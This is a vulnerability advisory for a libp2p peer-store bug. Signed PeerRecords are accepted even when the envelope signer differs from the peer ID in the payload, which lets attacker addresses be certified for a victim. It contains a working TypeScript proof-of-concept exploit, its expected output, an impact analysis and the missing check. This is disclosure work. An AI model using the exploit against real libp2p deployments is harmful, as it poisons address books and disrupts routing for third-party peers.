CVE-2026-86039: libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

Summary @libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.

Details The vulnerable code is in packages/peer-store/src/index.ts:

- RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature. - const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID. - The optional expectedPeer check only compares expectedPeer to the envelope signer. - const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes. - this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.

The missing invariant is:

ts peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))

packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:

ts if (!peerRecord.peerId.equals(envelopePeer)) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') }

The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:

ts peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })

This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.

PoC ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair } from '@libp2p/crypto/keys' import { defaultLogger } from '@libp2p/logger' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' import { persistentPeerStore } from '@libp2p/peer-store' import { multiaddr } from '@multiformats/multiaddr' import { MemoryDatastore } from 'datastore-core/memory' import { TypedEventEmitter } from 'main-event'

const label = 'Certified peer-record address hijack'

async function main (): Promise<void> { const localKey = await generateKeyPair('Ed25519') const attackerKey = await generateKeyPair('Ed25519') const victimKey = await generateKeyPair('Ed25519')

const attacker = peerIdFromPrivateKey(attackerKey) const victim = peerIdFromPrivateKey(victimKey) const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')

const peerStore = persistentPeerStore({ peerId: peerIdFromPrivateKey(localKey), datastore: new MemoryDatastore(), events: new TypedEventEmitter(), logger: defaultLogger() })

// Payload claims victim, but the envelope is signed by attacker. const forgedRecord = new PeerRecord({ peerId: victim, multiaddrs: [attackerAddr], seqNumber: 999999n }) const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)

// Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker. const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker })

assert.equal(accepted, true)

const poisonedVictim = await peerStore.get(victim) assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({ multiaddr: multiaddr.toString(), isCertified })), [{ multiaddr: attackerAddr.toString(), isCertified: true }])

console.log(${label} reproduced) console.log(attacker signer: ${attacker}) console.log(victim storage key: ${victim}) console.log(stored certified address: ${attackerAddr}) }

main().catch(err => { console.error(err) process.exitCode = 1 })

Expected output:

text Certified peer-record address hijack reproduced attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn stored certified address: /ip4/203.0.113.66/tcp/4001

Impact Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.

This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.